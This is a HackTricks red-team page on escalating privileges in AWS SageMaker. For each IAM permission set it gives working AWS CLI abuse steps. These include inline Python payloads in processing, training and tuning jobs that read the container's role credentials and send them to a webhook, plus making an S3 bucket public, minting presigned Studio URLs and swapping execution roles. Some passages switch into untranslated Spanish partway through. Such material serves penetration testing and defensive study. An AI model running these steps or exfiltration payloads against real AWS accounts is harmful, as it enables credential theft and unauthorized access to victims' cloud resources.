AWS - Sagemaker Privesc

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

AWS - Sagemaker Privesc

iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Start creating a noteboook with the IAM Role to access attached to it:

aws sagemaker create-notebook-instance --notebook-instance-name example \
    --instance-type ml.t2.medium \
    --role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

The response should contain a NotebookInstanceArn field, which will contain the ARN of the newly created notebook instance. We can then use the create-presigned-notebook-instance-url API to generate a URL that we can use to access the notebook instance once it’s ready:

aws sagemaker create-presigned-notebook-instance-url \
    --notebook-instance-name <name>

Navigate to the URL with the browser and click on `Open JupyterLab`` in the top right, then scroll down to ā€œLauncherā€ tab and under the ā€œOtherā€ section, click the ā€œTerminalā€ button.

Now It’s possible to access the metadata credentials of the IAM Role.

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreatePresignedNotebookInstanceUrl

If there are Jupyter notebooks are already running on it and you can list them with sagemaker:ListNotebookInstances (or discover them in any other way). You can generate a URL for them, access them, and steal the credentials as indicated in the previous technique.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potential Impact: Privesc to the sagemaker service role attached.

sagemaker:CreatePresignedDomainUrl

Warning

This attack only works on old traditional SageMaker Studio domains, not those created by SageMaker Unified Studio. Domains from Unified Studio will return the error: ā€œThis SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portalā€.

An identity with permission to call sagemaker:CreatePresignedDomainUrl on a target Studio UserProfile can mint a login URL that authenticates directly into SageMaker Studio as that profile. This grants the attacker’s browser a Studio session that inherits the profile’s ExecutionRole permissions and full access to the profile’s EFS-backed home and apps. No iam:PassRole or console access is required.

Requirements:

  • A SageMaker Studio Domain and a target UserProfile within it.
  • The attacker principal needs sagemaker:CreatePresignedDomainUrl on the target UserProfile (resource‑level) or *.

Minimal policy example (scoped to one UserProfile):

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Action": "sagemaker:CreatePresignedDomainUrl",
      "Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
    }
  ]
}

Abuse Steps:

  1. Enumerate a Studio Domain and UserProfiles you can target
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
  1. Check if unified studio is not being used (attack only works on traditional SageMaker Studio domains)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
  1. Generate a presigned URL (valid ~5 minutes by default)
aws sagemaker create-presigned-domain-url \
  --domain-id $DOM \
  --user-profile-name $TARGET_USER \
  --query AuthorizedUrl --output text
  1. Open the returned URL in a browser to sign into Studio as the target user. In a Jupyter terminal inside Studio verify the effective identity or exfiltrate the token:
aws sts get-caller-identity

Notes:

  • --landing-uri can be omitted. Some values (e.g., app:JupyterLab:/lab) may be rejected depending on Studio flavor/version; defaults typically redirect to the Studio home and then to Jupyter.
  • Org policies/VPC endpoint restrictions may still block network access; the token minting does not require console sign‑in or iam:PassRole.

Potential Impact: Lateral movement and privilege escalation by assuming any Studio UserProfile whose ARN is permitted, inheriting its ExecutionRole and filesystem/apps.

sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments

An identity with permission to call sagemaker:CreatePresignedMlflowTrackingServerUrl (and sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments for later access) for a target SageMaker MLflow Tracking Server can mint a single‑use presigned URL that authenticates directly to the managed MLflow UI for that server. This grants the same access a legitimate user would have to the server (view/create experiments and runs, and download/upload artifacts in the server’s S3 artifact store).

Requirements:

  • A SageMaker MLflow Tracking Server in the account/region and its name.
  • The attacker principal needs sagemaker:CreatePresignedMlflowTrackingServerUrl on the target MLflow Tracking Server resource (or *).

Abuse Steps:

  1. Enumerate MLflow Tracking Servers you can target and pick one name
aws sagemaker list-mlflow-tracking-servers \
  --query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
  1. Generate a presigned MLflow UI URL (valid for a short time)
aws sagemaker create-presigned-mlflow-tracking-server-url \
  --tracking-server-name "$TS_NAME" \
  --query AuthorizedUrl --output text
  1. Open the returned URL in a browser to access the MLflow UI as an authenticated user for that Tracking Server.

Potential Impact: Direct access to the managed MLflow UI for the targeted Tracking Server, enabling viewing and modification of experiments/runs and retrieval or upload of artifacts stored in the server’s configured S3 artifact store, within the permissions enforced by the server configuration.

sagemaker:CreateProcessingJob, iam:PassRole

An attacker with those permissions can make SageMaker execute a processing job with a SageMaker role attached to it. By reusing one of the AWS Deep Learning Containers that already incluye Python (y ejecutando el job en la misma región que el URI), puedes lanzar código inline sin construir imÔgenes propias:

REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'

aws sagemaker create-processing-job \
  --processing-job-name privescjob \
  --processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
  --app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
  --environment "$ENV" \
  --role-arn $ROLE_ARN

# Las credenciales llegan al webhook indicado. AsegĆŗrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.

Potential Impact: Privesc to the sagemaker service role specified.

sagemaker:CreateTrainingJob, iam:PassRole

An attacker with those permissions can launch a training job that ejecuta código arbitrario con el rol indicado. Usando un contenedor oficial de SageMaker y sobreescribiendo el entrypoint con un payload inline, no necesitas construir imÔgenes propias:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imƔgenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.

aws sagemaker create-training-job \
  --training-job-name privesc-train \
  --role-arn $ROLE_ARN \
  --algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
  --output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
  --resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
  --stopping-condition '{"MaxRuntimeInSeconds":600}' \
  --environment "$ENV"

# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.

Potential Impact: Privesc to the SageMaker service role specified.

sagemaker:CreateHyperParameterTuningJob, iam:PassRole

An attacker with those permissions can launch a HyperParameter Tuning Job that runs attacker-controlled code under the supplied role. Script mode requires hosting the payload in S3, but all steps pueden automatizarse desde la CLI:

REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION

# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
  --bucket $BUCKET \
  --public-access-block-configuration '{
    "BlockPublicAcls": false,
    "IgnorePublicAcls": false,
    "BlockPublicPolicy": false,
    "RestrictPublicBuckets": false
  }'

aws s3api put-bucket-policy --bucket $BUCKET --policy "{
  \"Version\": \"2012-10-17\",
  \"Statement\": [
    {
      \"Effect\": \"Allow\",
      \"Principal\": \"*\",
      \"Action\": \"s3:GetObject\",
      \"Resource\": \"arn:aws:s3:::$BUCKET/*\"
    }
  ]
}"

cat <<'EOF' > /tmp/train.py
import os, time, urllib.request

def main():
    meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
    if not meta:
        return
    creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
    req = urllib.request.Request(
        "https://example.com/webhook",
        data=creds,
        headers={"Content-Type": "application/json"}
    )
    urllib.request.urlopen(req)
    print("train:loss=0")
    time.sleep(300)

if __name__ == "__main__":
    main()
EOF

cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read

echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read

IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.

cat > /tmp/hpo-definition.json <<EOF
{
  "AlgorithmSpecification": {
    "TrainingImage": "$IMAGE",
    "TrainingInputMode": "File",
    "MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
  },
  "StaticHyperParameters": {
    "sagemaker_program": "train.py",
    "sagemaker_submit_directory": "$CODE_S3"
  },
  "RoleArn": "$ROLE_ARN",
  "InputDataConfig": [
    {
      "ChannelName": "training",
      "DataSource": {
        "S3DataSource": {
          "S3DataType": "S3Prefix",
          "S3Uri": "$TRAIN_INPUT_S3",
          "S3DataDistributionType": "FullyReplicated"
        }
      }
    }
  ],
  "OutputDataConfig": {
    "S3OutputPath": "$OUTPUT_S3"
  },
  "ResourceConfig": {
    "InstanceType": "ml.m5.large",
    "InstanceCount": 1,
    "VolumeSizeInGB": 50
  },
  "StoppingCondition": {
    "MaxRuntimeInSeconds": 600
  }
}
EOF

aws sagemaker create-hyper-parameter-tuning-job \
  --hyper-parameter-tuning-job-name privesc-hpo \
  --hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
  --training-job-definition file:///tmp/hpo-definition.json

Cada entrenamiento lanzado por el proceso imprime la mƩtrica y exfiltra las credenciales del rol indicado.

sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

With the permission to update a SageMaker Studio User Profile, create an app, a presigned URL to the app and iam:PassRole, an attacker can set the ExecutionRole to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.

Warning

This attack requires that there are no applications in the profile or the app creation will fail with an error similar to: An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again. If there is any app you will need sagemaker:DeleteApp permission to delete them first.

Steps:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' 

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-user-profile \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query 'UserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
  --domain-id-equals <DOMAIN_ID> 

# Delete an app
aws sagemaker delete-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name <APP_NAME>


# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.

sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)

With permissions to update a SageMaker Studio Domain, create an app, a presigned URL to the app, and iam:PassRole, an attacker can set the default domain ExecutionRole to any IAM role that the SageMaker service principal can assume. New Studio apps launched for that profile will run with the swapped role, giving interactive elevated permissions via Jupyter terminals or jobs launched from Studio.

Warning

This attack requires that there are no applications in the domain or the app creation will fail with the error: An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.

Steps:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}' 

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>

# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
  --domain-id <DOMAIN_ID> \
  --default-user-settings ExecutionRole=$ROLE_ARN

aws sagemaker describe-domain \
  --domain-id <DOMAIN_ID> \
  --query 'DefaultUserSettings.ExecutionRole' --output text

# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
  --domain-id-equals <DOMAIN_ID> 

# Delete an app
aws sagemaker delete-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name <APP_NAME>

# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --app-type JupyterServer \
  --app-name js-domain-escalated

# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity
#    (should show the high-privilege role from domain defaults)

Potential Impact: Privilege escalation to the permissions of the specified SageMaker execution role for interactive Studio sessions.

sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl

An attacker with permission to create a SageMaker Studio app for a target UserProfile can launch a JupyterServer app that runs with the profile’s ExecutionRole. This provides interactive access to the role’s permissions via Jupyter terminals or jobs launched from Studio.

Steps:

# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'

# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>

# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --app-type JupyterServer \
  --app-name js-privesc

# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
  --domain-id <DOMAIN_ID> \
  --user-profile-name <USER> \
  --query AuthorizedUrl --output text

# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
#    aws sts get-caller-identity

Potential Impact: Interactive access to the SageMaker execution role attached to the target UserProfile.

iam:GetUser, datazone:CreateUserProfile

An attacker with those permissions can give user access to an IAM user into a Sagemaker Unified Studio Domain by creating a DataZone User Profile for that user.

# List domains
aws datazone list-domains --region us-east-1 \
  --query "items[].{Id:id,Name:name}" \
  --output json

# Add IAM user as a user of the domain
aws datazone create-user-profile \
  --region us-east-1 \
  --domain-identifier <domain-id> \
  --user-identifier <arn-user> \
  --user-type IAM_USER

The Unified Domain URL has the following format: https://<domain-id>.sagemaker.<region>.on.aws/ (e.g. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).

Potential Impact: Access to the Sagemaker Unified Studio Domain as a user being able to access all the resources inside the Sagemaker domain and even escalate privieleges to the role that the notebooks inside the Sagemaker Unified Studio Domain are using.

References

Tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks